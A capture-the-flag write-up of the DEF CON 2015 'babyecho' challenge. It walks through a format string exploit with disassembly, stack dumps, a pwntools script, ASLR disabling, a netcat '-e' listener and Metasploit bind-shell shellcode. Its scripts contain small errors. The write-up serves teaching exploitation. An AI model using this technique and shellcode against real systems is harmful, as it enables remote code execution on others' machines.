Tuesday, June 2, 2015

DEF CON Qualifier 2015 "babyecho" - practice session write-up

Hello and welcome to another practice session write-up (disclaimer).
Today's challenge is called "babyecho" and is from DEF CON Qualifier 2015.

You can download the ELF here.

Looking at the output of file command, we see that the binary had been statically linked and stripped. This means it will have a huge amount of lib code and it will be hard to distinguish it from the actual "app" code.
# file ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=0x8566a6c92bd79a1521b557d1e2855af0eef527e4, stripped

Loading the binary into IDA, we can see that there are in fact 1242 function ... going through that by hand should be fun!
Looking over the IDA PRO Book, I see that a full fledged PRO version of IDA has something called fling and flirt signatures which can help fingerprint functions in statically built binaries that come from commonly known libraries (and are built by most common compilers). Unfortunately, it seems that these signatures only come for windows system libraries and compilers. Which kind of makes sense seeing as how there are a million versions and sub-version of the same Linux library - same goes for compilers, and when you mix the two together... -.-'

OK - so we're probably not going to get anywhere by digging through the binary. Let's run it and see what it actually does!
./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
Reading 13 bytes
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
Reading 13 bytes
AAAAAAAAAAAA
Reading 13 bytes
AAAAAAAAAA
Reading 13 bytes

It seems the binary is reading an array of characters and is printing it back after chopping it to 13 bytes. Well that's cute! Obviously this is not a buffer overflow seeing as how we added more than 13 bytes, and no segmentation fault occurred.
Tinkering a bit with various inputs, it seems the binary is vulnerable to a format string attack. The string "%08x" prints the hex value of the next argument on the stack. Judging by the response, we can obviously leek some info from the stack.
# ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
Reading 13 bytes
%08x %08x %08x
0000000d 0000000a 
Reading 13 bytes
x
Reading 13 bytes

 At this point I became interested whether or not the binary had any protection mechanisms, so I used checksec. It's a really handy tool that print's out everything we need without having to use readelf and peek in a bunch of proc folders. It seems the binary really has no stack protection at all (hence the prefix "baby" I assume) :)

# /opt/checksec.sh --file babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   babyecho_eb11fdf6e40236b1a37b7974c53b6c3d

To really understand where the vulnerability is and how it can be exploited, we need to peek under the hood. The problem is, it's really hard to find the function in charge of handling the user input since the binary has been statically linked. Fortunately, the string "Reading 13 bytes" is printed right before parsing our input, so let's try a dirty little trick to locate the needle in a haystack.

First we locate the string "Reading 13 bytes" in memory.
The string is in the data section at 0x080BE5F1.
The entry where the string resides seems to be referenced by a function at location 0x08048F3C+98. Here is a dump of that function.

.text:08048F3C                 push    ebp
.text:08048F3D                 mov     ebp, esp
.text:08048F3F                 and     esp, 0FFFFFFF0h
.text:08048F42                 sub     esp, 420h
.text:08048F48                 mov     eax, large gs:14h
.text:08048F4E                 mov     [esp+420h+var_4], eax
.text:08048F55                 xor     eax, eax
.text:08048F57                 lea     eax, [esp+420h+var_404]
.text:08048F5B                 mov     [esp+420h+var_40C], eax
.text:08048F5F                 mov     [esp+420h+var_408], 0
.text:08048F67                 mov     [esp+420h+var_410], 0Dh
.text:08048F6F                 mov     eax, off_80EA4C0
.text:08048F74                 mov     [esp+420h+var_414], 0
.text:08048F7C                 mov     [esp+420h+var_418], 2
.text:08048F84                 mov     [esp+420h+var_41C], 0
.text:08048F8C                 mov     [esp+420h+var_420], eax
.text:08048F8F                 call    loc_804FC40
.text:08048F94                 mov     [esp+420h+var_41C], offset sub_8048EB1
.text:08048F9C                 mov     [esp+420h+var_420], 0Eh
.text:08048FA3                 call    sub_804DE70
.text:08048FA8                 mov     [esp+420h+var_420], 14h
.text:08048FAF                 call    sub_806CB50
.text:08048FB4                 jmp     short loc_804902C
.text:08048FB6 ; ---------------------------------------------------------------------------
.text:08048FB6
.text:08048FB6 loc_8048FB6:                            ; CODE XREF: sub_8048F3C+F5 j
.text:08048FB6                 mov     eax, 3FFh
.text:08048FBB                 cmp     [esp+420h+var_410], 3FFh
.text:08048FC3                 cmovle  eax, [esp+420h+var_410]
.text:08048FC8                 mov     [esp+420h+var_410], eax
.text:08048FCC                 mov     eax, [esp+420h+var_410]
.text:08048FD0                 mov     [esp+420h+var_41C], eax
.text:08048FD4                 mov     [esp+420h+var_420], offset aReadingDBytes ; "Reading %d bytes\n"
.text:08048FDB                 call    sub_804F560
.text:08048FE0                 mov     [esp+420h+var_418], 0Ah
.text:08048FE8                 mov     eax, [esp+420h+var_410]
.text:08048FEC                 mov     [esp+420h+var_41C], eax
.text:08048FF0                 lea     eax, [esp+420h+var_404]
.text:08048FF4                 mov     [esp+420h+var_420], eax
.text:08048FF7                 call    sub_8048E24
.text:08048FFC                 lea     eax, [esp+420h+var_404]
.text:08049000                 mov     [esp+420h+var_420], eax
.text:08049003                 call    sub_8048ECF
.text:08049008                 lea     eax, [esp+420h+var_404]
.text:0804900C                 mov     [esp+420h+var_420], eax
.text:0804900F                 call    sub_804F560
.text:08049014                 mov     [esp+420h+var_420], 0Ah
.text:0804901B                 call    loc_804FDE0
.text:08049020                 mov     [esp+420h+var_420], 14h
.text:08049027                 call    sub_806CB50
.text:0804902C
.text:0804902C loc_804902C:                            ; CODE XREF: sub_8048F3C+78 j
.text:0804902C                 cmp     [esp+420h+var_408], 0
.text:08049031                 jz      short loc_8048FB6
.text:08049033                 mov     eax, 0
.text:08049038                 mov     edx, [esp+420h+var_4]
.text:0804903F                 xor     edx, large gs:14h
.text:08049046                 jz      short locret_804904D
.text:08049048                 call    sub_806F1F0
.text:0804904D
.text:0804904D locret_804904D:                         ; CODE XREF: sub_8048F3C+10A j
.text:0804904D                 leave
.text:0804904E                 retn



As we can see, the 13 byte limitation is pushed on to the stack (0Dh). It also seems that there is a hard-coded input size of 1023 bytes (3FFh), and that the input size is being compared to it. The function sub_804F560 is used at 08048FDB (where the "Reading 13 bytes" is being printed) and 0804900F (this seems like a good place to put a breakpoint and peek at the stack).
Being a visual guy (and missing Olly...), I use EDB to put a few breakpoints and see the stack layout after a few format string injections.
It seems that our input is located at 0xbffff5ac, and that format string "%08x %08x" retrieved the value 0000000d and 0000000a, which are directly bellow the pointer to the format string (as is usual with printf's). Playing around with various format strings, we notice that we can easily use direct parameter access-type format strings to get to the values that are on the stack. This is a short mapping of the stack and it's parameters after our input is ingested (copied from EDB stack trace).
bfff:f584|080481a8|....|
bfff:f588|bffff9b8|....|
bfff:f58c|08049014|....|return to 08049014     (the return address!!!1!)
bfff:f590|bffff5ac|....|ASCII "AAAAAAA"
bfff:f594|0000000d|....|                       %1$x
bfff:f598|0000000a|....|                       %2$x
bfff:f59c|00000000|....|                       %3$x
bfff:f5a0|0000000d|....|                       %4$x (seems to be the 13 byte limitation)
bfff:f5a4|bffff5ac|....|ASCII "AAAAAAA"        %5$x
bfff:f5a8|00000000|....|                       %6$x
bfff:f5ac|41414141|AAAA|                       %7$x
bfff:f5b0|00414141|AAA.|
bfff:f5b4|00000000|....|

Having played around with this binary in a debugger, I noticed that the stack addresses changed constantly (because of ASLR). At this point during the exploit development, this is kind of annoying so I decided to turn it off.
echo 0 > /proc/sys/kernel/randomize_va_space

OK - the hard part seems to be over. We now know what the stack looks like and know where our input (payload) is located. Also, we can easily leek the location of our payload with %5$x, making it easy to subvert ASLR on the server (remember, just because we killed it locally does not mean we can hard-code the virtual addresses in our exploit!).
Knowing this, it is easy to overwrite the return address (in above example at 0xbffff58c) with the address of our payload.

But wait - we can only write 13 bytes!!1! That's not enough space for a decent payload (at least not to my knowledge).

Luckily, we know that the 13 byte limitation parameter is located at %4$x. There is a dirty little trick we can use to change the value at %4$x (since it is bellow format string pointer) just enough to make it possible to upload a decent payload/shellcode. I found this little trick reading through this tutorial.
\xdc\xf0\xff\xbf%7$hn
The format string above will overwrite four bytes at 0xbfffc8c0 with a small integer number.
With the "%7$" parameter we increase the internal stack pointer of the format function. We do this until this pointer points to the beginning of our format string, which is at offset 7$. What $hn actually does is print the length of the current string in bytes (this is why we can only insert a small integer number). There is a neat little trick we can use to increase the length of the string without increasing the string length so drastically - %9u. So, our injection has to look something like this:
\xdc\xf0\xff\xbf%9u%7$hn
Because of the 13 byte restriction we only have 8 characters to set the length since %7$hn takes up 5 characters. Even with the %9u we wont get an integer higher than 13 (coincidence - probably not!). Obviously, we can't just overwrite the first byte at offset 5$ (0xbffff5a0 in above dump) since id is already higher then our max length (13). Thus, we have to overwrite one or two bytes higher (e.g. bffff5a2) .. which is not really a big deal to achieve.

Since any further steps depend on the actual leek, it makes no sense to try further format string injections by hand - we need to script! I use python as my tool of choice for most of my exploiting endeavors. There is a really nice library for python called pwn, which really helps in removing the boilerplate code from most exploit scripts. Hence, I will be using it for this challenge.

from pwn import *
conn = remote("localhost", 1234) # open connection to babyecho server
log.info(conn.recvuntil("\n"))   # get the first output 

conn.sendline("%5$x")            # inject format string to leek address
leak_str = p.recvuntil("\n")
leaked_buf_addr = int(leak_str, 16)

log.info("We got this address: %s" % hex(leaked_buf_addr))

For this to work locally, you obviously need to start your own local "babyecho server". I did it using netcat, like this:
nc -l -p 1234 -e ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d

Now that we got the address of the buffer on the stack, we can subtract 0xC (or 12) from that address to get the address of the buffer size limitation. Then, we increase the address by 2 so that we are not writing to the first byte, but the third!
addr_of_limitation = leaked_buf_addr - 12     # substract 0xC to get limitation address

addr_of_limitation = addr_of_limitation + 2   # don't write to the first byte 
                                              # because it will not be enough
conn.sendline(p32(addr_of_limitation + 2)+"%9u%7$hn") 
conn.recvuntil("\n")

We confirm this by looking at the stack after running this script. Here is a before and after:
bfff:f590|bffff5ac|....|ASCII "AAAAAAA"
bfff:f594|0000000d|....|                       %1$x
bfff:f598|0000000a|....|                       %2$x
bfff:f59c|00000000|....|                       %3$x
bfff:f5a0|0000000d|....|                       %4$x ==> bfff:f0d0|0007000d|....|
bfff:f5a4|bffff5ac|....|ASCII "AAAAAAA"        %5$x

Hurray! Our input is now larger than 13 bytes!!1! Please note that even though we now have a huge limitation value, we still have a hard-coded limitation of 1023 bytes (as shown before). That should be enough for a decent shellcode :)

Side-note: perhaps it is useful to point out a neat trick in EDB, which let's you attach to a running binary. Here is how I tested the above exploit:
  1. Start babyeacho using NetCat
  2. Attach EDB to the NC process (File -> Attach). It will probably be the last process in the list (named nc)
  3. Press run in EDB
  4. Execute python exploit script above
  5. EDB catches the input to NC and start executing babyecho, which allows us to set a breakpoint at 0x0804900f (right before we execute the injection and where we can see the stack layout)
  6. Verify stack layout and step over till you see the result :)
 So far so good - we now need to force the program to execute our shellcode (which we do not have yet) by jumping to it's location. Usually, when the payload is loaded on the stack it's bad luck because most processes have NX enabled. In that case one needs to play around with R0P. However, this is not one of those times since NX is not enabled! This means we can put our shellcode on the stack, and simply force the program to jump to that location. An obvious candidate would be the return address (0xbffff58c in above dump).
Now comes the somewhat tricky part - how do we write an arbitrary value to a location on the stack? The last trick won't work because it only enables us to write a short integer value. Well, turns out that there is actually a "magic formula" you can use to write any value to any location. I remember first seeing it in the book Gray Hat Hacking, but there is probably another instance of it out there.

First, we need to choose an value to write and an address to write it to! Then, the value we wish to write needs to be split in two values:
  • The first two, high-order, bytes (HOB)
  • The last two, lower-order, bytes (LOB)
The formula goes something like this:

HOB < LOBHOB > LOB
[addr_to_write_to][addr_to_write_to + 2] [addr_to_write_to][addr_to_write_to + 2]
%[LOB - 8] %[HOB - 8]
[param_offset_on_stack]$hn [param_offset_on_stack + 1]$hn
%[LOB - HOB]x %[HOB - LOB]x
[param_offset_on_stack + 1]$hn [param_offset_on_stack]$hn

param_offset_on_stack - in this scenario is 7 (as explained in the first stack dump!).

Now we need to choose the address to which we are going to write. Like I said earlier, we will leverage the return address location and redirect the flow of execution to our shellcode. So where is the return address? If you look at the previous stack dumps, you will see it right above the first parameter - which is 32 bytes above the leaked address.
As for the value to write (the address of our shellcode) - we could calculate it based on the table above.. but we could also just look at it live with EDB. To do this, I will extend the python script with the above formula (in the table) and use a dummy value (0xBBBBBBBB) to write to the return address. As for the payload, for now let's just send a bunch of A's and see where they land.
addr_to_write_to = buffer_address - 32
value_to_write = 0xBBBBBBBB

hob = hex((value_to_write >>16)& 0xFFFF)
lob = hex(value_to_write & 0xFFFF)

payload = ""
payload += str(p32(addr_to_write_to)) + str(p32(addr_to_write_to+2))

if hob < lob:
 payload += "%" + str(int(hob, 16)-8) 
 payload += "x%8$hn" 
 payload += "%" + str(int(lob,16)-int(hob,16))
 payload += "x%7$hn" 
else:
 payload += "%" + str(int(lob, 16)-8) 
 payload += "x%7$hn" 
 payload += "%" + str(int(hob,16)-int(lob,16))
 payload += "x%8$hn" 

payload += "A" *100 

p.sendline(payload)
p.interactive()

As we can see in the screenshot bellow, the payload begins at 0xbffff0fc, which is 32 bytes from the leaked address. Now we can change the value_to_write accordingly to land where our payload is.

Now that everything is in place, we just need to add the right shellcode at the end of the payload, and we are done! Instead of writing one ourselves, we'll just use a shellcode from Metasploit. I used msfpayload to search for a bind shell for 32 bit Linux systems.
# msfpayload -l | grep linux | grep shell | grep 86
[!] ************************************************************************
[!] *               The utility msfpayload is deprecated!                  *
[!] *              It will be removed on or about 2015-06-08               *
[!] *                   Please use msfvenom instead                        *
[!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *
[!] ************************************************************************
    linux/x86/shell/bind_ipv6_tcp                       Spawn a command shell (staged). Listen for a connection over IPv6
    linux/x86/shell/bind_nonx_tcp                       Spawn a command shell (staged). Listen for a connection
    linux/x86/shell/bind_tcp                            Spawn a command shell (staged). Listen for a connection
    linux/x86/shell/find_tag                            Spawn a command shell (staged). Use an established connection
    linux/x86/shell/reverse_ipv6_tcp                    Spawn a command shell (staged). Connect back to attacker over IPv6
    linux/x86/shell/reverse_nonx_tcp                    Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell/reverse_tcp                         Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell_bind_ipv6_tcp                       Listen for a connection over IPv6 and spawn a command shell
    linux/x86/shell_bind_tcp                            Listen for a connection and spawn a command shell
    linux/x86/shell_bind_tcp_random_port                
    linux/x86/shell_find_port                           Spawn a shell on an established connection
    linux/x86/shell_find_tag                            Spawn a shell on an established connection (proxy/nat safe)
    linux/x86/shell_reverse_tcp                         Connect back to attacker and spawn a command shell
    linux/x86/shell_reverse_tcp2                        Connect back to attacker and spawn a command shell


We have plenty to choose from! Since its for local user, I just picked a TCP bind shell.
# msfpayload linux/x86/shell/bind_tcp C

/*
 * linux/x86/shell/bind_tcp - 36 bytes (stage 2)
 * http://www.metasploit.com
 */
unsigned char buf[] = 
"\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b"
"\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\xcd\x80";

There we go - our shellcode. Now just paste it instead of the A's, and run the script - it will get you shell access on the host. All done!  :)


1 comment: